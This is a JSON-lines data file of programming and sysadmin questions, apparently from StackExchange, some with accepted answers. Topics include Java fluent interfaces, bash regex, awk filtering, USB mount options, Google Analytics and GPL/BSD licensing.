{  "id": "_codereview.169318"  , "question": "I've spent a couple of weeks implementing a simple text editor.  The entire program uses only immutable objects and a functional, fluid programming style.After reading about ways to implement Fluent Interfaces in Java I came to the conclusion there was no elegant solution.  The language just can't handle it in a nice way.  One of the main issues is trying to return the immutable object from bases class with() methods.  If you just return 'this' then you get back the base class, not the concrete class that you need from calling code.This is the system I am using in my code now.  Let me know if there are ways of doing it in a less hackish, ugly way.My main requirements are:Use inheritance so common functionality doesn't need to get cut and paste into subclassesAllow calling code to chain methods in a fluent style: object.withColor(red).withHeight(50) etc..Avoid 3rd party libraries or source code buildersCode:public abstract class Animal<TConcrete extends Animal<TConcrete>> {    public final int height;    protected Animal(int height) {        this.height = height;    }    // Need to return 'this' sometimes in base methods but if you just use    // keyword 'this' then the type is wrong (i.e. different than TConcrete).    protected abstract TConcrete self();    // Base classes normally can't instantiate the concrete class because it    // might have extra constructors and members that the base cannot possibly    // know    // about.    //    // With this method you are able to construct a new object that has a copy    // of all the subclass members but with a new base class member value.    protected abstract TConcrete copy(int height);    public TConcrete withHeight(int height) {        return copy(height);    }}public abstract class Mammal<TConcrete extends Mammal<TConcrete>> extends Animal<TConcrete> {    // This is the only mandatory field for this whole hierarchy. Naming is just    // to illustrate in this example.    public final int furColorMandatory;    // The constructor now takes 2 parameters, unlike Animal class which takes    // just 1. It takes all the parameters of base classes plus the new member    // 'furColor'.    protected Mammal(int height, int furColorMandatory) {        super(height);        this.furColorMandatory = furColorMandatory;    }    // Now implement a new copy() method for the subclass to implement. The old    // copy() from base class gets implemented below.    //    // This forms a chain where the base class is able to instantiate a copy    // of the object by calling the copy method.    protected abstract TConcrete copy(int height, int furColor);    // Each class in the hierarchy needs to implement the copy()    // method of the abstract class below. This allows the base    // class to instantiate a concrete object.    //    // Note the current value for 'furColor' is used because this is a copy    // operation as opposed to totally new construction of an object.    @Override    protected final TConcrete copy(int height) {        return copy(height, furColorMandatory);    }    public TConcrete withFurColor(int furColorMandatory) {        return copy(height, furColorMandatory);    }}public final class Cat extends Mammal<Cat> {    public final int numberOfWhiskers;    protected Cat(int height, int furColorMandatory, int numberOfWhiskers) {        super(height, furColorMandatory);        this.numberOfWhiskers = numberOfWhiskers;    }    // Finally implement the concrete 'this' method used only by base classes.    @Override    protected Cat self() {        return this;    }    protected Cat copy(int height, int furColorMandatory, int numberOfWhiskers) {        return new Cat(height, furColorMandatory, numberOfWhiskers);    }    // This should be final but the class is final so keyword is not needed.    @Override    protected Cat copy(int height, int furColorMandatory) {        return copy(height, furColorMandatory, numberOfWhiskers);    }    public Cat withNumberOfWhiskers(int numberOfWhiskers) {        return copy(height, furColorMandatory, numberOfWhiskers);    }    // Only way to instantiate this for callers.  Ensures mandatory is taken care of.    public static Cat of(int furColorMandatory) {        return new Cat(0, furColorMandatory, 0);    }}Usage:Cat tom = Cat.of(5).withHeight(10);"  , "title": "Instantiating an animal using fluent classes with inheritance"  , "tags": "java;fluent interface"  } 
{  "id": "_webapps.15314"  , "question": "I believe the answer is no, but I think that just having the question out there may let the community work together to figure out what we can do to get what we are looking for done. My organization started using Google Apps for our internal email system and documents over a year ago now. As anyone who has ever used this system knows, at that time you couldn't use the same login to use software like Adwords or Analytics; you needed a personal login. Google was perfectly happy to let you use the same e-mail address that you used for your Apps account as a login. Now they are telling me that is no longer the case, that we can use the Apps account to login to 'regular' Google. They describe it here: conflicting account overview. However, their only solution is to rename your existing personal Google account. There is no way to just say merge these accounts. I mean even all my Stack Exchange accounts are linked through my personal account with the same name as my Apps account. I don't want to start messing with my personal account, renaming it (which I assume I cant undo once they take over that login with my apps account) with the potential of messing up all sorts of things I didn't predict would get messed up like for example having to login to my personal Gmail (different name than my Apps account username from my organization) to get into Stack Exchange and a whole host of other sites. Does anyone have any experience with merging, or just with this whole process in general? I just want my Gmail and Apps accounts with the same username to become one happy login!"  , "title": "Merging Conflicting Google Accounts"  , "tags": "gmail;google;google apps"  , "accepted_answer": "It's not possible.  I ran into the same problem, and spent many hours trying to merge things, and all I did was run into various Google bugs (for example, I can't use Google Groups at all anymore since it won't change my e-mail address).  You're going to have to keep track of the two separate accounts, and you probably won't be able to associate your desired e-mail address with one of them.A little bit of good news, some services can be migrated from one Google account to another (and Analytics and Adwords are among them):  http://www.google.com/support/accounts/bin/answer.py?answer=58582"  } 
{  "id": "_unix.119947"  , "question": "I have a file of the following form (with '-' serving as delimiters), and I want to find the appearance of a number only when it follows a delimiter. I suppose it's a concatenation of grep '-\\n' and $number, but I can't find the way to do it right. thanks..14002132342-7656711234-872140054-"  , "title": "grep change of line followed by a variable"  , "tags": "grep"  } 
{  "id": "_codereview.45864"  , "question": "I used a standard calculator design from Java.  I wanted to expand it so I created a class to create buttons for different operations, like +, -, *, /. The original program didn't do this, they just made them individually without a template method.  Do you think I should do it like this?//The java Template Calculator TODOimport java.awt.EventQueue;import java.awt.GridLayout;import java.awt.BorderLayout;import java.awt.event.ActionListener;import java.awt.event.ActionEvent;import javax.swing.JFrame;import javax.swing.JPanel;import javax.swing.JTextField;import javax.swing.JButton;import java.awt.Container;public class JavaCalculator implements ActionListener{JFrame guiFrame;JPanel buttonPanel;JTextField numberCalc;int calcOperation = 0;int currentCalc;public static void main(String[] args) {     EventQueue.invokeLater(new Runnable()     {         public void run()         {             new JavaCalculator();                  }     });}public JavaCalculator(){    guiFrame = new JFrame();    guiFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);    guiFrame.setTitle(Simple Calculator);    guiFrame.setSize(300,300);    guiFrame.setLocationRelativeTo(null);    numberCalc = new JTextField();    numberCalc.setHorizontalAlignment(JTextField.RIGHT);    numberCalc.setEditable(false);    guiFrame.add(numberCalc, BorderLayout.NORTH);    buttonPanel = new JPanel();    buttonPanel.setLayout(new GridLayout(4,4));       guiFrame.add(buttonPanel, BorderLayout.CENTER);    for (int i=0;i<10;i++)    {        addNumberButton(buttonPanel, String.valueOf(i));    }    addActionButton(buttonPanel, 1, +);    addActionButton(buttonPanel, 2, -);    addActionButton(buttonPanel, 3, *);    addActionButton(buttonPanel, 4, /);    addActionButton(buttonPanel, 5, ^2);    JButton equalsButton = new JButton(=);    equalsButton.setActionCommand(=);    equalsButton.addActionListener(new ActionListener()    {        public void actionPerformed(ActionEvent event)        {            if (!numberCalc.getText().isEmpty())            {                int number = Integer.parseInt(numberCalc.getText());                 if (calcOperation == 1)                {                    int calculate = currentCalc  + number;                    numberCalc.setText(Integer.toString(calculate));                }                else if (calcOperation == 2)                {                    int calculate = currentCalc  - number;                    numberCalc.setText(Integer.toString(calculate));                }                else if (calcOperation == 3)                {                    int calculate = currentCalc  * number;                    numberCalc.setText(Integer.toString(calculate));                }                else if (calcOperation == 4)                {                    int calculate = currentCalc  / number;                    numberCalc.setText(Integer.toString(calculate));                }                else if (calcOperation == 5)                {                    int calculate = currentCalc  * currentCalc;                    numberCalc.setText(Integer.toString(calculate));                }            }        }    });    buttonPanel.add(equalsButton);    guiFrame.setVisible(true);  }private void addNumberButton(Container parent, String name){    JButton but = new JButton(name);    but.setActionCommand(name);    but.addActionListener(this);    parent.add(but);}private void addActionButton(Container parent, int action, String text){    JButton but = new JButton(text);    but.setActionCommand(text);    OperatorAction addAction = new OperatorAction(1);    but.addActionListener(addAction);    parent.add(but);}public void actionPerformed(ActionEvent event){    String action = event.getActionCommand();    numberCalc.setText(action);       }private class OperatorAction implements ActionListener{    private int operator;    public OperatorAction(int operation)    {        operator = operation;    }    public void actionPerformed(ActionEvent event)    {        currentCalc = Integer.parseInt(numberCalc.getText());         calcOperation = operator;    }}}"  , "title": "Basic Calculator in Java with Swing"  , "tags": "java;swing;calculator"  } 
{  "id": "_cstheory.29244"  , "question": "Is there a simple example of a Turing machine $M$, such that whether $M$ halts or not on the empty input cannot be proved within the current mathematical system?Specifically, I'm curious whether there exists an example simple enough that the state transition of the Turing machine can be drawn as a reasonably-sized diagram."  , "title": "Simple example of halting-unprovable Turing machine"  , "tags": "turing machines"  } 
{  "id": "_webmaster.18050"  , "question": "I currently run a small web-app that connects local businesses with new customers in a very specific niche. In the past few months this model has worked very well and the growth is excellent, so much so in fact that I'm preparing to expand the app to support multiple sites/niches. Ultimately it will be structured very similarly to StackExchange in that each site will have it's own domain, design and focus, but running off of the same platform.With that said, I've been trying to think of the best way to handle the analytics (specifically Google Analytics) for this setup.My two requirements are basically that I want to be able to see aggregate statistics for all sites so that I can get an overview of how the system is performing generally on a day-to-day basis, but also be able to narrow down to specific site and track at that level for SEO, marketing, and debugging purposes.What I'm hoping is that other people who may have done this or have more experience with Google Analytics may be able to tell me whether I would be better off creating one multi-domain analytics profile (and figuring out how to break it out by site) or creating a profile for each site and having the unique profile id configured with the sites in my system.From a development standpoint I would much rather do the former.Thank you in advance for your time and insights!"  , "title": "One multi-domain analytics profile, or one analytics profiles per domain?"  , "tags": "google analytics;analytics"  , "accepted_answer": "Neither method is perfect; both have their pros and cons.It is definitely simpler to have one distinct Google Analytics key for every domain or subdomain. There is no question about this. However, that breaks down when you have, say, dozens or hundreds of domains.If you have many SUBdomains using the same Google Analytics key, you must push the domain name on each request, like so.var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-5620270-24']); _gaq.push(['_setDomainName', '.stackexchange.com']); _gaq.push(['_trackPageview']);Then you can segment fairly easily based on Hostname... just use the Advanced Segments dropdown in the top right and create a segment for hostname=gaming.stackexchange.com or something similar. You can even make aggregate segments hostname=gaming.stackexchange.com OR hostname=webapps.stackexchange.com OR hostname=cooking.stackexchange.com etc.If you have many different domains, it's much harder.Call the _link() method in any links between the domains. If your current links have the form: <a href=https://www.secondsite.com/?login=parameters>Login Now</a>change them to: <a href=https://www.secondsite.com/?login=parameters   onclick=_gaq.push(['_link', 'http://www.firstsite.com']); return false;>Login Now</a>For different domains, we simply use different Google Analytics keys.."  } 
{  "id": "_softwareengineering.143836"  , "question": "I recently found out about strong typing in VB.Net (naturally it was on here, thanks!) and am deciding I should take another step toward being a better programmer. I went from vba macros -> VB.Net, because I needed a program that I could automate and I never read anything about strong typing, so I kind of fell into the VB.Net default trap. Now I am looking to turn it on and sort out this whole type thing.I was hoping someone could direct me towards some resources to make this transistion as painless as possible. I have read around some and ctype seems to come up a lot, but past that I am at a bit of a loss. What are the benefits of switching? Is there more to it than just using ctype to cast things? I feel like there is a good article that I have failed to come across and any direction would be great.Would a good approach to be to rewrite a program  that is written with option strict off and note differences?"  , "title": "I want to turn VB.Net Option Strict On"  , "tags": "vb.net"  } 
{  "id": "_unix.251674"  , "question": "Im trying to match a string agains a regular expression inside an if statement on bash. Code below:var='big'If [[ $var =~ ^b\\S+[a-z]$ ]]; then echo $varelse echo 'none'fiMatch should be a string that starts with 'b' followed by one or more non-whitespace character and ending on a letter a-z. I can match the start and end of the string but the \\S is not working to match the non-whitespace characters. Thanks in advance for the help."  , "title": "Any non-whitespace regular expression"  , "tags": "bash;regular expression"  , "accepted_answer": "In non-GNU systems what follows explain why \\S fail:The \\S is part of a PCRE (Perl Compatible Regular Expressions). It is not part of the BRE (Basic Regular Expressions) or the ERE (Extended Regular Expressions) used in shells.The bash operator =~ inside double bracket test [[ use ERE.The only characters with special meaning in ERE (as opposed to any normal character) are .[\\()*+?{|^$. There are no S as special. You need to construct the regex from more basic elements:regex='^b[^[:space:]]+[a-z]$'Where the bracket expression [^[:space:]]  is the equivalent to the \\S PCRE expressions :  The default \\s characters are now HT (9), LF (10), VT (11), FF (12), CR (13), and space (32).The test would be:var='big'            regex='^b[^[:space:]]+[a-z]$'[[ $var =~ $regex ]] && echo $var || echo 'none'However, the code above will match bi for example. As the range [a-z] will include other characters than abcdefghijklmnopqrstuvwxyz if the selected locale is (UNICODE).To avoid such issue, use:var='bi'            regex='^b[^[:space:]]+[a-z]$'( LC_ALL=C;  [[ $var =~ $regex ]]; echo $var || echo 'none')Please be aware that the code will match characters only in the list: abcdefghijklmnopqrstuvwxyz in the last character position, but still will match many other in the middle: e.g. bg.Still, this use of LC_ALL=C will affect the other regex range: [[:space:]] will match spaces only of the C locale.  To solve all the issues, we need to keep each regex separate:reg1=[[:space:]]   reg2='^b.*[a-z]$'           out=noneif                 [[ $var =~ $reg1 ]]  ; then out=noneelif   ( LC_ALL=C; [[ $var =~ $reg2 ]] ); then out=$varfiprintf '%6.8s\\t|' $outWhich reads as:  If the input (var) has no spaces (in the present locale) thencheck that it start with a b and ends in a-z (in the C locale).Note that both tests are done on the positive ranges (as opposed to a not-range). The reason is that negating a couple of characters opens up a lot more possible matches. The UNICODE v8 has 120,737 characters already assigned. If a range negates 17 characters, then it is accepting 120720 other possible characters, which may include many non-printable control characters.It should be a good idea to limit the character range that the middle characters could have (yes, those will not be spaces, but may be anything else)."  } 
{  "id": "_unix.170990"  , "question": "The following command will delete directories and sub directories that are older then 100 days:find /var/tmp -type d -ctime +100 -exec rm -rf {} \\;But actually I want to perform the test to verify if the command will remove all directories.So I set -ctime +0 (in order to perform remove directories that old then 0 days)find /var/tmp -type d -ctime +0 -exec rm -rf {} \\;But the find command did not remove the directories.How can I change the -ctime in order to perform the test?"  , "title": "Find command with -ctime +0 for testing"  , "tags": "find"  } 
{  "id": "_cogsci.1776"  , "question": "What's the original source of the SEEV (Salience Effort Expectancy Value) Model for predicting the distribution of visual attention? I've seen it mentioned in many papers and presentations but everyone of them lacks a reference to the source of this model.Does anyone have a valid reference?"  , "title": "Origin of the SEEV Model of visual attention distribution"  , "tags": "reference request;cognitive modeling;vision;attention"  , "accepted_answer": "Wickens et al. (2003) is the earliest I'm aware of:Wickens, C. D., Goh, J., Helleberg, J., Horrey, W. J., & Talleur, D.  A. (2003). Attentional models of multitask pilot performance using  advanced display technology. Human Factors: The Journal of the Human  Factors and Ergonomics Society, 45(3), 360-380.Actually, in that paper he cites Wickens et al. (2001), but I can't seem to finda copy of this manuscript anywhere, and it has fewer citations:Wickens, C. D., Helleberg, J., Goh, J., Xu, X., & Horrey, W. J.  (2001). Pilot task management: Testing an attentional expected value  model of visual scanning. Savoy, University of Illinois Institute of  Aviation.If you're using N-SEEV, cite one of these instead:Steelman-Allen, K. S., McCarley, J. S., Wickens, C., Sebok, A., &  Bzostek, J. (2009, October). N-SEEV: A computational model of  attention and noticing. In Proceedings of the Human Factors and  Ergonomics Society Annual Meeting (Vol. 53, No. 12, pp. 774-778). SAGE  Publications.Wickens, C., McCarley, J., & Steelman-Allen, K. (2009, October).  NT-SEEV: A model of attention capture and noticing on the flight deck.  In Proceedings of the Human Factors and Ergonomics Society Annual  Meeting (Vol. 53, No. 12, pp. 769-773). SAGE Publications."  } 
{  "id": "_webmaster.53580"  , "question": "I found the answer to this question from a few years ago, but a lot has changed with Google since then. Would a technique with the one described here still work?Given that the small sites are more than just a page and the sites have unique content?I am a web developer and have a client who wants to hire me to do this, but I'm not sure its going to help or hurt him. "  , "title": "Multiple keywords sites for local SEO"  , "tags": "local seo"  } 
{  "id": "_unix.384371"  , "question": "Input file looks something like this:chr1    1    G    300chr1    2    A    500chr1    3    C    200chr4    1    T    35chr4    2    G    400chr4    3    C    435chr4    4    A    223chr4    5    T    400chr4    6    G    300chr4    7    G    340chr4    8    C    400The actual file is too big to process, so I want to output a smaller file filtering by chromosome (column 1) and position (column 2) within a specific range.For example, I'm looking for a Linux command (sed, awk, grep, etc.) that will filter by chr4 from positions 3 to 7. The desired final output is:chr4    3    C    435chr4    4    A    223chr4    5    T    400chr4    6    G    300chr4    7    G    340I don't want to modify the original file."  , "title": "Split a File into Rows Based on Column Values"  , "tags": "linux;text processing;awk;sed;grep"  , "accepted_answer": "The solution for potentially unsorted input file:sort -k1,1 -k2,2n file | awk '$1==chr4 && $2>2 && $2<8'The output:chr4    3    C    435chr4    4    A    223chr4    5    T    400chr4    6    G    300chr4    7    G    340If the input file is sorted it's enough to use:awk '$1==chr4 && $2>2 && $2<8' file"  } 
{  "id": "_unix.90657"  , "question": "Sometimes I unplug my USB drive only to find out files were not written to it.I suppose the only way to ensure files are written to it is to right click on the USB drive on the desktop and then select un-mount, but sometimes I forget.What is the best way to ensure files are written to the USB drive instantly? This way I can remove the USB drive as soon as I notice the LED light on the USB drive stopped blinking.OS: CentOS 6"  , "title": "How to remove a USB drive without worrying if its been unmounted?"  , "tags": "linux;mount;usb;usb drive"  , "accepted_answer": "This is Gilles' answer, saving it here so it doesn't get lost.If you use the sync mount option on the removable drive, all writes are written to the disk immediately, so you won't lose data from not-yet-written files. It's a bad idea, but it does what you're asking, kind of.Note that sync does not guarantee that you won't lose data. Unmounting a removable drive also ensures that no application has a file open. If you don't unmount before unplugging, you won't notice if you have unsaved data until it's too late. Unmounting while a file is open also increases the chance of corruption, both at the filesystem level (the OS may have queued some operations until the file is closed) and at the application level (e.g. if the application puts a lock file, it won't be removed).Furthermore, sync is bad for the lifetime of the device. Without the sync option, the kernel reorders writes and writes them in batches. With the sync option, the kernel writes every sector in the order requested by the applications. On cheap flash media that doesn't reallocate sectors (meaning pretty much any older USB stick, I don't know if it's still true of recent ones), the repeated writes to the file allocation table on (V)FAT or to the journal on a typical modern filesystem can kill the stick pretty fast.Therefore I do not recommend using the sync mount option.On FAT filesystems, you can use the flush mount option. This is intermediate between async (the default) and sync: with the flush option, the kernel flushes all writes as soon as the drive becomes idle, but it does not preserve the order of writes (so e.g. all writes to the FAT are merged)."  } 
{  "id": "_softwareengineering.209156"  , "question": "Unhandled exception termIn .NET Framework, unhandled exceptions are the exceptions which were not handled by the application itself, and result in a crash. In a case of a desktop application, it means that a window similar to this one is displayed:For a web application, it mostly means an HTTP 500.Under unhandled exceptions, I also include ones which are handled globally, i.e., in a case of a desktop applications, the global handling which consists of displaying a custom window instead of the Windows default one.ContextWhen I work as a freelancer, I use my own in-house solution to gather unhandled exceptions from different sources (web apps and desktop apps). The gathered results are then displayed on a monitoring panel in real time as well as collected for future analysis (to be linked with a bug tracking software, etc.)Currently, I work in a company where I wouldn't be able to use my in-house solution to collect the exceptions (one of the reasons being that they won't accept to send all the exception messages to my servers).This company doesn't have any precise strategy for collecting unhandled exceptions. The only solution which was used before is both rudimentary and out of question: it consists of sending every exception by e-mail.This means that for the new product I'm working on, we should develop a custom strategy for collecting unhandled exceptions.QuestionI can always do by hand the part which will save the exceptions to the database or a log and the part which will load them from the database, a log or Windows Events.I would like to avoid reinventing the wheel and use something which is already commonly used.What are my choices? How are unhandled exceptions usually collected and processed later?By the way:Are there any libraries which help collecting those exceptions?Are there any software products which help analyzing those exceptions?"  , "title": "We need a custom strategy for collecting unhandled application exceptions. What are our options?"  , "tags": "c#;.net;exception handling"  , "accepted_answer": "In short: It will depend on .NET Framework version, as it might be handled differently in .NET 4.0 than in 2.0.A general rule of thumb is, when a runtime error occurs ( Runtime Error Yellow Screen of Death - YSOD) on a web application in production it is important to notify a developer and to log the error so that it may be diagnosed at a later point in time. There are several resources on this topic. For .NET 2.0 applications you may look at overview of a post how ASP.NET processes runtime errors and looks at one way to have custom code execute whenever an unhandled exception bubbles up to the ASP.NET runtime.Starting with .NET 4.0 developers get more flexibility by Asynchronous Programming Model (APM pattern). More details are posted here.Prior to the .NET Framework 2.0, unhandled exceptions were largely ignored by the runtime.  For example, if a work item queued to the ThreadPool threw an exception that went unhandled by that work item, the ThreadPool would eat that exception and continue on its merry way.  Similarly, if a finalizer running on the finalizer thread threw an exception, the system would eat the exception and continue on executing other finalizers.There are different flavor of User friendly Exception Handling  dialog strategies that you might look for windows forms applications.In conclusion, there are some options depending on the Framework version that .NET application currently runs on."  } 
{  "id": "_webapps.89348"  , "question": "I wonder how to export the messages I have received and sent on LinkedIn."  , "title": "How can I export my LinkedIn messages?"  , "tags": "linkedin;data liberation"  , "accepted_answer": "Under Privacy & Settings under the Account tab is a link to Request an archive of your dataDownload your LinkedIn data  Did you know you can request an archive of your activity and data on LinkedIn anytime?Within minutes, you'll get the archived information that's fastest to compile including things like your messages, connections and imported contacts. We'll send you an email with a link where you can download it right away.You'll get an email with a link where you can download the second part of your data archive in about 24 hours. You'll also be able to access your archive by going to your settings, selecting the Account tab, and clicking Request an archive of your data. Want more details? Just visit our Help Center.Here's whats included  Your data archive will contain the information LinkedIn has stored for you including your activity and account history, from who invited you to join, to the time of your latest login. For the full list, visit our Help Center.According to the help page, the available information includes all the messages in your Messages, Sent, and Archive folders. It also includes the messages in the Trash folder (if you haven't emptied it). Example of archive content:"  } 
{  "id": "_unix.46940"  , "question": "I have an overlay alone with the default portage. Basically, I want to emerge only the updates from the main portage when I run emerge world -unD, and emerge the extra packages from the overlay explicitly.But now, each time I run emerge world, I got all the packages from both portage.I want to know what is the best way to keep enforce update from one portage only."  , "title": "Gentoo: How to update from one portage only?"  , "tags": "gentoo;emerge"  , "accepted_answer": "You should edit it in files /etc/portage/*In /etc/portage/provided/package.providedyou place files which you do not want to be updated or installed e.g.dev-util/android-sdk-update-manager-20.0.3dev-java/icedtea-bin-7.2.2.1-r1dev-java/icedtea-bin-6.1.11.3-rIn manuals you will find the rest:http://wiki.gentoo.org/wiki/Portagehttp://wiki.sabayon.org/index.php?title=En:HOWTO:_The_Complete_Portage_Guide"  } 
{  "id": "_cstheory.11506"  , "question": "I am interested in the following problem. One has two collections $Q$ and $T$ of strings, and a set $A$ of alignments of strings in $Q$ to strings in $T$. I want to find a subset $A'$ of $A$ that (i) involves each element of $Q$ only once and (ii) maximizes the total number of characters in elements $T$ that are covered by an alignment in $A'$.(To be precise: Let $a$ be an alignment in $A$. We can think of $a$ as a tuple $(q,t,f)$ where $q\\in Q$, $t\\in T$, and $f : \\mathcal I_a \\to \\mathcal J_a$ is a bijection such that $f(i)=j$ if $a$ aligns the $i$th character of $q$ to the $j$th character of $t$. Here $\\mathcal I_a \\subset \\{1,2,\\dots,|q|\\}$ and $\\mathcal J_a \\subset \\{1,2,\\dots,|t|\\}$, where $|\\cdot|$ means length. We can think of characters in elements of $T$ as pairs $(t,j)$ where $t\\in T$ and $j\\in\\{1,2,\\dots,|t|\\}$. We say that $(t,j)$ is covered by an alignment in $A'$ if there exists $a=(q,t',f)\\in A'$ such that $t=t'$ and $j\\in\\mathcal J_a$. (Note that there might exist several such $a\\in A'$.) Let $\\chi(t,j,A') = 1$ if such an $a\\in A'$ exists, and 0 otherwise. We want to maximize the cardinality of $\\{(t,j) : \\chi(t,j,A')=1\\}$ over $A'\\subset A$ such that for all $q\\in Q$, there exists at most one $a=(q',t,f)\\in A'$ with $q=q'$.)My question: What is a name for this problem, if any? Thanks in advance! I guess that it is related to maximum matchings and maximum coverage, but it's not quite the same as either."  , "title": "Name of the problem to find the maximum number of characters covered by a set of strings"  , "tags": "cc.complexity theory;reference request;optimization"  } 
{  "id": "_codereview.161398"  , "question": "Count the numbers without consecutive repeated digitsAsha loves mathematics a lot. She always spends her time by playing with digits. Suddenly, she is stuck with a hard problem, listed below. Help Asha to solve this magical problem of mathematics.Given a number N (using any standard input method), compute how many integers between 1 and N, inclusive, do not contain two consecutive identical digits. For example 1223 should not be counted, but 121 should be counted.Test Cases7 => 71000 => 8193456 => 256210000 => 7380The code snippet that i submitted  for the above challenge was given belowf(int n){    int i=1;    int c=n;    for(; i<=n; i++)    {        int m=-1;        int x=i;        while(x)        {            if (x % 10 == m)            {                c--;                break;            }            m = x % 10;            x /= 10;       }   }   return c;}When I submitted the above code in the competition a few days ago I ranked the First. but yesterday I was at no 10-11-13 and now I am ranked 13 right now.What was my mistake? What should I improve so that my rank will be the first in competitive programming?"  , "title": "Count the numbers without consecutive repeated digits"  , "tags": "algorithm;c;programming challenge"  } 
{  "id": "_unix.167770"  , "question": "I am using this script to count files on my directory and sub-directories:for i in $(find . -type d) ; do   printf $i %s\\t ;  ( find $i -type f | wc -l ) ; doneThis script works fine. What I really want it to do is to print only the directories that contain more than 31 files."  , "title": "Print only directories with more than 31 files"  , "tags": "shell;find"  } 
{  "id": "_datascience.10239"  , "question": "NOTE : I'm not sure if this is the right forum for this question. if not, please advice.Context : I am collecting a huge amount of data using an android app that is placed on a vehicle. I collect the data at ~1second intervals for about 2 hours, which gives almost 7200 data sets. These are the parameters :Timestamp (milliseconds)LatitudeLongitudeSpeedAccelerationNow I was looking at ways to simplify this data, as processing and rendering these many date points, especially on mobile devices is not a good idea.EDIT : as answer to Spacedman's comment : I want to simplify the data because most of it is redundant. The data is collected every 1 second regardless of whether the values are constant or changing. Accuracy is not crucial as its only used for displaying visual graphs on a website, drawing a polyline on a map. etc. So I want to keep only the minimum necessary data points required to reproduce the graph/line.While searching, I came across the RamerDouglasPeucker algorithm and also found a library that implements this.The issue : I am a bit confused as to how to simplify this data. I could :Somehow simply the entire thing by considering each data as a 5D point, orGenerate three sets of arrays, namely : [Lat, Long, time], [Speed, time] and [acceleration, time].So my question is :Are there any advantages/disadvantages of using either of the two approaches?I was thinking that - as each metric will have different patterns of variations, will combining them reduce the efficiency of the whole simplification process?Or is it best to keep the metrics separate, so that each will be simplified to its maximum efficiency?I am a Java/Obj-C developer, normally active on SO, and I am not an expert on these things, So I would like to know what you guys think.Thanks in advance"  , "title": "Combining parameters for Douglas-Peucker Simplification"  , "tags": "bigdata;dataset;data cleaning"  } 
{  "id": "_unix.58011"  , "question": "Recently I've been working with JS and I'm very enthusiastic about this language. I know that there is node.js for running JS at server side, but is there a shell that uses JS as a scripting language? If such thing exists, how usable & stable is it?"  , "title": "Is there a JavaScript shell?"  , "tags": "shell;shell script;javascript"  , "accepted_answer": "Does this look desirable to you?// Replace macros in each .js filecd('lib');ls('*.js').forEach(function(file) {  sed('-i', 'BUILD_VERSION', 'v0.1.2', file);  sed('-i', /.*REMOVE_THIS_LINE.*\\n/, '', file);  sed('-i', /.*REPLACE_LINE_WITH_MACRO.*\\n/, cat('macro.js'), file);});cd('..');If so, ShellJS could be interesting, it's a portable (Windows included) implementation of Unix shell commands on top of the Node.js API.I'm unsure if this could be used as a full-featured login shell, though.  (Maybe with some wrapping?)You could argue that it's not really a shell, but do you know TermKit?  It's made of Node.js + Webkit, you could use JS to extend it (I guess); the shell language is still Bash(-ish)."  } 
{  "id": "_codereview.98515"  , "question": "I'm trying to print a binary tree in vertical strips.For instance, a tree like this:       8     /   \\    6     10   / \\   /  \\  4   7 9    12 / \\3   5Is printed out as:346 58 7 91012Here's how I'm doing it:Map<Integer,Set<Integer>>  printStripsVertically(TreeNode root, Map<Integer,Set<Integer>> countMap, int dist) {        if( root == null )                return countMap;        Set<Integer> nodeSet = countMap.get(dist);// get list at current distance.        if(nodeSet ==null) { // this dist  hasnt been inspected yet, so create new list here.                 nodeSet= new HashSet<Integer>();        }        nodeSet.add(root.data);// add current node to list.         countMap.put(dist,nodeSet);// create mapping for current dist        //recurse left and right.        Map<Integer,Set<Integer>> leftMap = printStripsVertically(root.getLeft(),countMap,dist-1);        Map<Integer,Set<Integer>> rightMap = printStripsVertically(root.getRight(),countMap,dist+1);        Map<Integer,Set<Integer>> mergedMap= new HashMap<Integer,Set<Integer>>();        Iterator<Integer> itLeft = leftMap.keySet().iterator();        while(itLeft.hasNext()){            mergedMap.put(itLeft.next(),leftMap.get(itLeft.next()));        }        Iterator<Integer> itRight = rightMap.keySet().iterator();        while(itRight.hasNext()){            mergedMap.put(itRight.next(),rightMap.get(itRight.next()));        }        return mergedMap;//iterate over the map to get results.}Edit :TreeNode.java public class TreeNode {     int data;    private TreeNode left;    private TreeNode right;    public TreeNode getLeft() {        return left;    }    public void setLeft(TreeNode left) {        this.left = left;    }    public TreeNode getRight() {        return right;    }    public void setRight(TreeNode right) {        this.right = right;    }    public TreeNode(int data)    {        this.data=data;    }}Call to the method  Map<Integer,Set<Integer>> verticalStrips = new HashMap<Integer,Set<Integer>>(); verticalStrips =printStripsVertically(root,verticalStrips,0);//where root is the root of the tree.I've dry-tested the algorithm to work, but I'm not quite convinced that iterating over the leftMap and rightMap is the cleanest way to go about this, so I'm looking for any suggestions towards that in particular or the code in general.Any thoughts on its correctness are appreciated. I'm also looking for any other approaches that might be more efficient in dealing with the problem."  , "title": "Printing a binary tree in vertical strips"  , "tags": "java;algorithm;tree"  } 
{  "id": "_webmaster.79825"  , "question": "I have a competitor (restaurant) that shows up very high in the local listings on Google and that has a lot of links from other local websites. It went out of business and the domain-name is now out to grab. If I buy this domain and redirect it to another restaurant its homepage, would their be a negative or positive SEO impact? What is the best way to do optimize this domain?"  , "title": "Purchasing expired domain relevant to business"  , "tags": "redirects;multiple domains;local seo"  , "accepted_answer": "Restaurants and takeaways use local rankings which is different to normal search listings, it uses NAP (Name Address Phone Number) and many other factors to determine where your business is located and the intended local audience. So, unless you sell the same food and serve the same area its generally a bad idea. Google has wised up to people purchasing expired domain and unless the domain is absolutely relevant to your own then its advisable not to get involved as it would be considered a 'risk' or no improvement.If you really want to improve your rankings do the right research... building links nowadays for local businesses is the least thing you should concern yourself with...Also restaurants are easy to rank... simply serve the best food and the rest looks after itself because it starts a buzz locally, on forums, social media and so forth. "  } 
{  "id": "_softwareengineering.180878"  , "question": "I am working in a Python project that I want to release under the GPL3 license. This project has one file that uses the BSD lxml library .I really need to put reference of the BSD license in the file where I use the library? Or just the GPLv3 of my project covers the licenses restrictions.Library: http://lxml.deLicenses: https://github.com/lxml/lxml/blob/master/doc/licenses/BSD.txthttp://www.gnu.org/licenses/gpl.txt[Edit]I think we're misunderstandingI will not put the source code of the lxml library on my project. I will put the reference for functions of the library. If someone wants use my project, he needs to download separately the lxml library.import lxml# do stuff with lxml...# do stuff# my codeOnly is necessary put the library license if I distribute the lxml source code with my project. Am I right?"  , "title": "GPLv3 Project with BSD Library"  , "tags": "licensing;python;gpl;bsd license"  } 
